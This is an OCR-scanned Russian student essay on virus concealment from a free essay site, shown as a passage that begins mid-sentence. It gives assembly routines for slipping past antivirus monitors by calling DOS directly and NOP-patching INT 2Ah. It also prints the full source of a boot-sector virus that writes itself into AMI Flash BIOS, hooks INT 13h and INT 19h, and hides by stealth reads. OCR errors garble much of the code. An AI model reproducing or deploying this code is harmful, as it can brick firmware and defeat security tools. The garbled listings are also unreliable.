DOS). Если при открытии файла обнаружено , что расширение его СОМ , ЕХЕ и ли SYS, то можно выда в ать предупрежда ющее сообщение ". Список выглядит слишком коротким . Действи тельно , а что произойдет, если сначала переиме новать программный файл ? И почему не учтен а функция 6Ch (расширенное открытие файла )? А что будет , если от- крыть файл для чтения , а зат ем изменить режим доступа пря мым обра- щением к SFT? Конечно же , авторы антивирусных мониторов не столь наивны . Просто они никогда не раскрывают свои профессиональные секреты . Напри мер, авторы программы AVPTSR реально учли и исполь зовали все эти мето- дик и и тонкости . Итак , предположим , что гипотетическ ий антивирусный супермонитор : - отслеживает и блокирует попытки трасси ровки 21-го прерывания ; - для контроля "опасных " функций DOS встр аивается в начало обра- ботчика прерывани я INT 21h; - для предотвращения прямого обращения к DOS использует флаг, сбрасываемый либо во встав ленном фрагменте , либо в обработчике прерывания 2Ah (более грамотный подход ). Эти действия монитора порождают соот ветствующие проблемы при конструировании нео тслеживаемого обращения к DOS. Первая проблема достаточно просто решаетс я с использованием "мето- да предопределенных адресов ". Для решения второй проблемы стоит про анализировать возможное расположение в обрабо тчике DOS точки перехода на антивирусный мо нитор . Очевидно , это может быть точка 0 либо точка 1. В самом худшем случае можно допус тить , что врезка происходит непосред- ственно после команды проверки на максимальное значен ие номера функции . Далее обработчи к DOS "растекается " на многочисленные ручейки , поэтому отследить их все крайне затруднительно . По край- ней мере , обработчики функций OFh, 3Dh и 5Fh по падают в разные ручейки . Однако , при использов ании ограниченного набора функций они могут разместиться и в одном ручейке , чт о намного упростит ре- шение данной задачи . Функции 3Ch-43h, отвечающие за создание , от- крытие , закрытие , чтение , запись , атрибуты и перемещ ение , действи- тельно располагаются в одном об щем ручейке . Это позволяет использовать адрес точк и 2 для прямого обращения к DOS. Монито- ры , скорее всего , не будут отслежив ать эту точку . Решение третьей проблемы также не выз овет особых затруднений. Один из вариантов - з амаскировать прерывания таймера и изменить векто р 8-го прерывания перед прямым обр ащен ием к DOS. Вместо из- менения вектора можно п опробовать вставить инструкции IRET в нача- ло те кущего (антивирусного ) обработчика . При использован ии все того же метода "предопределенных адрес ов " и , зная позицию инструкции INT 2Ah в обрабо тчике DOS, пер е д прямым обращением к DOS следу- ет просто заменить этот вызов дв умя командами NOP. Пример реализации Рассмотрим две подпрограммы , которые испо льзуются для прямого об- ращения к DOS. 5" Подпрограмма SetAdr предназначена для определения адреса обработ- чика DOS методом предопр еделенных адресов . Для версий DOS, "пра- вильный " а дрес которых неизвестен , используется функция DOS 35h (получить вектор прерыван ия ). Подпрограмма CallDOS позволяет обращаться к DOS на прямую . В код включена проверка на номер функции . Для "безопасных " функций предусмотрен обы чный вызов DOS при помощи инструкции INT 21h. Процедура установки адреса (один из са мых коротких, ;хотя и по дозрительных вариантов реализации ) SetAdr ргос near [Устанавливаем указатель на таблицу в регистре SI mov si,offset Table ;Читаем очередное значение сегмента и смещения из таблицы Next: mov es,[si] mov bx,[si+2] ; Проверяем контрольный код в слове , ад рес которого получен ;из таблицы . Е сли результат отрицательный , переходим ;к сле дующему элементу таблицы cmp es:[bx],2ACDh jnz Skip .Сохраняем адрес точки 2А mov Ofs2A,bx mov Seg2A,es ;Сохраняем адрес точки 2 из таблицы mov ax, [si+4] mov Seg21 ,ax mov ax, [si+6] mov Ofs21 ,ax ret Skip: ; Переходим к следующему элементу таблиц ы add si,8 [Проверяем , не закончилась ли таблица . Если таблица закончилась , ;читаем адрес текущего обраб отчика прерывания cmp [si], О jnz Next ;Читаем адреса текущего обработчика пре рывания INT 21 h - метод ;" предопределенных адресов " не сработал , точка входа не найдена mov ax, 3521h int 21 h mov Ofs21,bx mov Seg21 ,es ret ;Таблица позиций 2А и 2. Table dw OFF03h, 5333h,OFF03h, 420Ah dw OFDC8h, 41D1h,OFDC8h, 411Bh dw 0 SetAdr endp Процедура прямого обращения к DOS CallDOS proc near ;Если функция безопасна , вызываем прерыв ание обычным способом cmp ah,3Bh jb Trivial cmp ah,42h ja Trivial ;3аменяем вызов прерывания 2Ah на две команды MOP (9090h) ;в обработчике DOS, предварительно ;сохранив первоначальные значения кода push es push ax push bx mov es,cs:Ofs2A mov bx,cs:Seg2A mov ax,es:[bx] mov cs:Save, ax mov es:[bx], 9090h pop bx pop ax po p es ;Вызываем напрямую прерывание DOS pushf call cs:dword ptr Ofs21 ;Восстанавливаем вызов 2Ah push es push ax push bx mov es,cs:Ofs2A mov bx,cs:Seg2A mov ax,cs:Save mov es:[bx], ax po p bx pop ax pop es ret -.Обычное обращение к DOS (используется для безопасных функций ) Trivial: int 21 h ret ;B этом месте сохраняем значение для кода вызова INT 2Ah Save dw ? ;0бработчик прерывания DOS Ofs21 dw ? Seg21 dw ? ;Адрес вызова INT 2Ah из обработчика DOS Ofs2A dw ? Seg2A dw ? CallDOS endp Flash BIOS Новое место для вирусов Flash-память - энергонезависимая память , которая обеспечивает рабо- тоспособность EPROM со встроенно й электрической схемой стирания и перепр ограммирования . Энергонезависимая память отличается от RAM тем , что она не обнуляется при отсутствии напряжения . Flash BIOS - Flash-память , которая используется для х ранения кода BIOS. Она может быть перепрограммир о вана - это предусмотрено для облегчения о бновления BIOS. Такие микросхемы применяются в 90% портативных компьютеров , в большинстве компьютеро в 486DX2, 486DX4, Pentium. Как известно , BIOS получает управление при запуске компьютера . Все что нужно сделать ви рмейкеру - это незаметно модифицировать BIOS, чтобы вирус стартовал перед загрузкой сист емы компьютера . AMI Flash вирус Алгоритм работы вируса : 1. Проверить компьютер на наличие Flash BIOS; 2. Проверить Flash BIOS на зараженность (осуществить выход , ес ли она заражена ); 3. Считать вектор INT 19h из таблицы (прерывани е загрузки ); 4. Прочесть первые 5 байт от точки вхо да INT 19h; 5. Проверить BIOS на наличие свободного мест а для размещения ви- руса (поиск области н улей ); 6. Установить память Flash BIOS в режим з аписи (обычно она нахо- дится в режиме "Readonly"); 7. Записать вирус в найденную область нулей ; 8. Записать переход на вирус в точку входа INT 19h; 9. Восстановить режим "Readonly" для памяти Flash BIOS. Единственное предназначение INT 19h - быть в ызванным в процессе загрузки , чтобы загрузить boot-сектор в память и передать ему управл е- ние . Прерывание именно то , которое и тре буется изменить . Нужно иметь в виду , что одновременно читать из памяти Flash BIOS и записывать в нее нельзя . Поэтому во время работы вир уса нельзя ис- пользовать временные переменные в этой памяти . Более целесообразным является создание вируса для обычного boot-сектора . Этот вирус следу- ет поместить в конец памяти и оттуда устанавливать вектор INT 13h. AMI BIOS обладает своими специфическими особенностями при разме- щении в микросхемах Flash-памяти , которые базируются на использова- нии функции EOh прерывания INT 16h. Самое интересное сост оит в том , что однажды внесенный в э ту память вирус может запретить по- вторно использовать указанную функцию . Это запретит антивирусным программам воспользоваться ею в процессе удаления вируса из BIOS компьютера . Исх одя из этого , авторам антивирусных программ придет- с я трассировать INT 16h, чтобы по лучить оригинальный вектор . Исходный текст вируса , заражающе го Flash BIOS. ;Вирус , заражающий Flash BIOS. ;Если на компьютере есть Flash BIOS, имеется шанс , что его могут .серьезно испортить . Если BIOS изменится , это може т привести ;к неприятностям . Нельзя будет загрузиться даже с "чистой " ;дискеты . Зараженный чип в ра бочее состояние не вернуть. огд О ;При входе в boot-сектор 01=загрузочный д иск mov si,7COOh [Установим OOOOh в регистрах DS и ES хог ах, ах mov es.ax mov ds .ax .Установим значение стека OOOOh:7COOh cli mov ss.ax mov sp.si sti ;Уменьшим на 1Кбайт память (0040h:0013h) dec word ptr [0413h] ;Получим размер памяти (при возврате в АХ ) int 12h ;Так как размер памяти указан в килобайтах (1024 байт ), а нужно ;в п арагра фах (16 байт ), умножим его на 64, что эквивалент но ;сдвигу на 6 разрядов влево mov cl,6 shi ax.cl .Установим новый сегмент вируса (вершина памяти ) mov es,ax .Перенесем вирусный се ктор в верши ну памяти xor di,di mov cx,200h eld rep movsb ;Сохраним вектор прерывания INT 13h. Поскольку этот вирус [загрузился до загрузки DOS, то прерывание INT 21 h еще не работает - работаем с вектором прерывания прямо в таблице mov ax.word ptr [13h *4] mov word ptr es: [off set i13],ax mov ax.word ptr [13h*4+2] mov word ptr es: [offset i 13+2],ax .Установим новый вектор прерывания INT 13h mov word ptr [13h*4],offset Handler mov word ptr [13h*4+2],es [Переходим в точку ES:Restart (в копии вирус а, [находящейся в вершине памяти ) already_resident: push es mov ax,offset Restart push ax retf ;C этого места программа работает уже в вершине памяти Restart: [Загружаем оригинальный boot-сектор из конц а ;root directory и передаем ему управление. ;Сбро с дисковой подсистемы (перед работой ;с дисковой подсистемой надо выполнить .функцию ООп прерывания INT 13h) xor ах.ах call int13h [Подготовим регистры для загрузк и оригинального boot-с ектора хог ах.ах mov es,ax ;Сегмент для загрузки mov bx,7COOh ;Смещение для загрузки mov cx,0002h Дорожка 0, сектор 2 хог dh.dh ;Головка О mov ax,0201h ;Функция 2, количество секторов 1 [Проверим диск , с которого грузимся . 80h и выше - жесткий диск , ;иначе - дискета . Копия оригинального boot-се ктора хранится ;в разных местах : на жестком диске - дорожка 0, головка 0, сектор 2; ;на дискете - дорожка 0, головка 1, сектор 14 cmp dl,80h jae MBR_Loader ;Грузимся с дискеты : изменим сектор и головку m ov с 1,14 ;Сектор 14 mov dh,1 ;Головка 1 ;3агрузим оригинальный boot-сектор по адресу OOOOh:7COOh MBRJ-oader: call int13h .Сохраним в стеке номер диска , с ко торого грузимся push dx Проверим , заражен ли Flash BIOS cmp byte ptr cs:flash_done,1 je Flash_re sident ;3аразим Flash BIOS call flash_BIOS .Восстановим из стека DX (номер загрузочного диска ) Flash_resident: pop dx ;3апускаем оригинальный boot-сектор (JMP FAR OOOOh:7COOh) db OEAh dw 7COOh dw 0 ;Сюда попадаем , когда происходит чтение boot-сектора . Скрываем [Присутствие вирус а методом чтения оригинального boot-сектора Stealth: Остановим значения сектора , где хранится копия оригинального iboot-сектора mov cx,02h mov ax,0201h [Пр оверим , откуда считан boot-сектор (дискета или жесткий диск ), ;так как коп ии хранятся в разных местах cmp dl,80h jae hd_stealth mov cl,14 mov dh,1 hd_stealth: Прочтем копию оригинального boot-сектора . Так как ;номера секторов подменены , фактически "ко пия выдается ;за оригинал " - скрываем свое присутствие (Stealth). call int13h [Выходим из обработчика прерывания jmp pop_exit ;Проверка наличия резидентного вируса - о тветим : ;запрос INT 13h (AX=ABBAh), ответ AX=BMBh resJest: xchg ah,al iret .Обработ чик прерывания INT 13h Handler: .Если при вызове в АХ находится ABBAh, .значит это проверка наличия резидентного в ируса cmp ax.OABBAh je resJest [Перехватываем только функцию 02h (чтение с ектора ): проверяем ;номер функции . Если не 2, запускаем оригинал ьный обработчик cmp ah,2 jne jend [Проверяем номера дорожки и сектора , интересуясь только теми .секторами , в которых может оказаться вирус - ;дорожка 0, голо вка 0, сектор 1 cmp cx,1 jne jend [Проверим номер головки . Если не 0, то запустим [Оригинальный обработчик cmp dh,0 jne jend tryJnfect: ;Считаем сектор в буфер (для дальней шей обработки ). ;Для этого вызовем оригинальны й INT 13h call int13h jc jend [Сохраним регистры и флаги (обрабо тчик не должен изменить их ) pushf push ax push bx push ex push dx push si push di push es push ds Проверяем , заражен ли данный диск виру сом : читаем сигнатуру. ;Если диск заражен , скрываем присутствие вируса cmp word ptr es:[bx+offset marker],"LV" je stealth ;Если диск не заражен , то заражаем : проверим , откуда загружен ;boot-ceKTOp (с дискеты ил и с жесткого диска ) cmp dl,80h jb infect_floppy .Установим номера дорожки , головки и с ектора для жесткого .диска для сохранения ори гинального boot-сект ора mov cx,2 xor dh.dh jmp write_virus lnfect_Floppy: ;Установим номера дорожки , головки и сектора для дискеты ;для сохранения оригин ального boot-сектора mov сх ,14 mov dh,1 Write_Virus: Записываем оригинальный boot-сектор mov ax,0301h call int-lSh jc pop_exit ;Установим сегментный регистр ES на сегме нт с вирусом push cs pop es ;Сбросим флаг зараженности Flash BIOS mov byte ptr cs:flash_done,0 ;3апишем тело вируса в boot-сектор xor bx,bx mov ax,0301h mov cx,0001h xor dh.dh call int13h во сстановим регистры и флаги (как раз те их значения , которые [свидетельст вует о том , что boot-сектор только что счи тали ) Pop_Exit: pop ds pop es pop di pop si pop dx pop ex pop bx pop ax popf [Выходим из обработчика в вы зывающую программу retf 2 ;3апуск оригинального обработчика J'end: DD OEAh .Код команды JMP FAR ;0ригинальный вектор INT13h i13 DD 0 ;Вызов прерывания INT 13h lnt13h proc near pushf call dword ptr cs:[i13] ret lnt13h endp Первые два байта слова используются к ак сигнатура Marker db "VLAD" ;Эта подпрограмма заражает Flash BIOS Flash_BIOS Proc Near Проверим наличие Flash BIOS mov ax.OEOOOh int 16h jc no_flash_bios cmp al.OFAh jne no_flash_bios ;Сначала най дем хорошее место д ля хранения вируса. Лросканируем память FOOOh-FFFFh, где обычно находится BIOS, ;на наличие области 1Кба йт нулей . Хватит даже 512 байт памяти, ;но выделить нужно с запасом lnfect_Flash: Остановим начальный сегмент для поиска mov ax.OFOO Oh mov ds.ax Проверим сегмент New_segment: Остановим стартовое смещение xor si,si Остановим счетчик найденных байт ;(величи на свободного места для вируса ) xor dx.dx ok_new_segment: ; Пер ейдем к следующему сегменту inc ax mov ds,ax Проверим , есть ли еще место для ви руса cmp ax.OFFFOh je no_flash_BIOS ;Проверим , свободно ли место (для ско рости проверяем словами ) Test-16: cmp word ptr [si],0 jne new_segment ;Увеличим счетчик размера найденного свободного места • inc dx Проверим , достаточно ли найденного места . Сравниваем с 1Кбайт , но ;так как памя ть сканируем словами , сравниваем с 512 (1Кбайт =512 слов ) cmp dx,512 je found_storage [Увеличим смещение проверяемого байта inc si inc si ;Сравним с 16. Переходим к следующему сегменту ;в начале каждого параграфа cmp si,16 je ok_new_segment jmp test16 ;B эту точку попадаем , если место найд ено Found_storage: Перейдем к началу зоны sub ax,40h mov ds.ax .Получим требования к сохранению состояни я чипа mov ax,OE001h int 16h ;Проверим , сколько памяти необходимо для сохранения состояния ;чипа . Если слишком много , не будем сохранять состояние cmp bx,512 jbe save_chipset ;Установим флаг , показывающий , что состоя ние не сохраняли mov byte ptr cs:chipset,1 [Перейдем к записи jmp write_enable ;Сюда попадаем , если Flash BIOS не обнаружен : записывать некуда - выходим No_Flash_BIOS: ret [Сохраним состояние чипа save_chipset: [Установим флаг , показывающий , что состоя ние сохранили mov byte ptr cs:chipset,0 .Сохраним состояние mov al,2 push cs pop es mov di, offset buffer int 16h [Записываемся во Flash BIOS write_enable: [Повышаем напряжение mov al,5 int 16h ;Разрешаем запись во Flash BIOS mov al,7 int 16h .Копируем 512 байт вируса во Flash BIOS push ds pop es xor di.di mov ex,512 push cs pop ds xor si,si eld rep movsb ;3десь нужна особая осторожность . ln t19h указывает на BIOS, ;позднее оно перехватывается различными программами. .Если трассировать его , можно наткнуться на закрытую область ;или на сегмент 70h, но этого не будет при загрузке . Понятно, ;что это единственное удачн ое время для выполнения виру с а. ;Все , что нужно - "внедриться " в int19h. ;Можно перехватить его в том месте , где находи тся сохраненная таблица векторов , но сделаем интереснее. .Получим смещение оригинального обработчи ка int19h mov bx.es ;ВХ =сегмент вируса xor ах.ах mov ds.ax ;DS=Ta6n Hua векторов mov di.word ptr [19h*4] ;Смещение INT 19h mov es.word ptr [19h*4+2] ;Сегмент INT 19h ;3апишем JMP FAR по адресу точки входа в INT 19h mov al.OEAh stosb mov ax,offset int19handler stosw mov ax.bx stosw .Понизим напряжение mov ax,OE004h int 16h ;3ащитим Flash BIOS от записи mov al,6 int 16h ;Проверим , сохранялось ли состояние чипа , если нет - выходим cmp byte ptr cs:chipset,0 jne No_Flash_BIOS .Восстановим состояние чипа push cs pop es mov al,3 mov di, offset buffer int 16h jmp No_Flash_BIOS ;Флаг несохранения состояния чипа chipset db 0 ;Флаг присутствия вируса во Flash BIOS flash_done db 0 ;Наш обработчик INT 19h. lnt19Handler Proc Near ;Установим сегментный регистр ES в н оль хог ах.ах mov es.ax [Проверим наличие резидентного вируса mov ax.OABBAh int 13h ;Если вирус присутствует , то запускаем оригинальный [обработчик прерывания INT 19h cmp ax.OBAABh jne realJnt19h [Перенесем вирус из BIOS в boot-буфер push cs po p ds eld xor si,si mov di,7c00h mov ex,512 rep movsb ;3апустим вирус в boot-буфере mov dl,80h jmp goto_Buffer Real_int19h: ;Произведем сброс дисковой подсистемы xor ax,ax int 13h Лроинициализируем значения регистров для загрузки boot-сектора mov ex, 1 mov dh,0 mov ax,0201h mov bx,7COOh .Проверим , откуда грузимся : если DL не ну левой, ;переходим к загрузке с жесткого д иска cmp dl,0 J'a hd_int19h ;Прочтем boot-сектор с дискеты . Е сли при чтении происходит ;ошибка , то читаем с жесткого диска int 13h jc fix_hd Остановим флаг , показывающий присутствие вируса во Flash BIOS Goto_Buffer: mov byte ptr es:[7COOh+offset flash_done],1 ;3апустим boot-сектор , находящийся в boot-буфере db OEAh ;Код команды JMP FAR dw 7c00h dw 0 Fix_HD: [Установим номер диска для з агрузки (диск С ) mov dl,80h HD_lnt19h: Произведем сброс дисковой подсистемы хог ах,ах int 13h .Прочтем boot-сектор mov ax,0201h int 13h jc Boot jmp Goto_Buffer ;Если не удалось загрузить boot-сектор, .выз ываем прерывание INT 18h Boot: int 18h lnt19Handler EndP Flash_BIOS EndP End_Virus: ;Размер области памяти , необходимый для дополнения ;размера вируса до 510 байт DupSize equ 510-offset End_Virus Заполнение незанятой вирусом части сектор а db DupSize dup (0) db 55h,0aah ;Место для сохранения состояния чипа Buffer:
1Архитектура и строительство
2Астрономия, авиация, космонавтика
 
3Безопасность жизнедеятельности
4Биология
 
5Военная кафедра, гражданская оборона
 
6География, экономическая география
7Геология и геодезия
8Государственное регулирование и налоги
 
9Естествознание
 
10Журналистика
 
11Законодательство и право
12Адвокатура
13Административное право
14Арбитражное процессуальное право
15Банковское право
16Государство и право
17Гражданское право и процесс
18Жилищное право
19Законодательство зарубежных стран
20Земельное право
21Конституционное право
22Конституционное право зарубежных стран
23Международное право
24Муниципальное право
25Налоговое право
26Римское право
27Семейное право
28Таможенное право
29Трудовое право
30Уголовное право и процесс
31Финансовое право
32Хозяйственное право
33Экологическое право
34Юриспруденция
 
35Иностранные языки
36Информатика, информационные технологии
37Базы данных
38Компьютерные сети
39Программирование
40Искусство и культура
41Краеведение
42Культурология
43Музыка
44История
45Биографии
46Историческая личность
47Литература
 
48Маркетинг и реклама
49Математика
50Медицина и здоровье
51Менеджмент
52Антикризисное управление
53Делопроизводство и документооборот
54Логистика
 
55Педагогика
56Политология
57Правоохранительные органы
58Криминалистика и криминология
59Прочее
60Психология
61Юридическая психология
 
62Радиоэлектроника
63Религия
 
64Сельское хозяйство и землепользование
65Социология
66Страхование
 
67Технологии
68Материаловедение
69Машиностроение
70Металлургия
71Транспорт
72Туризм
 
73Физика
74Физкультура и спорт
75Философия
 
76Химия
 
77Экология, охрана природы
78Экономика и финансы
79Анализ хозяйственной деятельности
80Банковское дело и кредитование
81Биржевое дело
82Бухгалтерский учет и аудит
83История экономических учений
84Международные отношения
85Предпринимательство, бизнес, микроэкономика
86Финансы
87Ценные бумаги и фондовый рынок
88Экономика предприятия
89Экономико-математическое моделирование
90Экономическая теория

 Анекдоты - это почти как рефераты, только короткие и смешные Следующий
- Интересный у тебя утюг.
- Да-а-а! Электрический. Китай, конец ХХ века, династия Дрянь.
Anekdot.ru

Узнайте стоимость курсовой, диплома, реферата на заказ.

Обратите внимание, реферат по программированию "Маскировка вирусов", также как и все другие рефераты, курсовые, дипломные и другие работы вы можете скачать бесплатно.

Смотрите также:


Банк рефератов - РефератБанк.ру
© РефератБанк, 2002 - 2016
Рейтинг@Mail.ru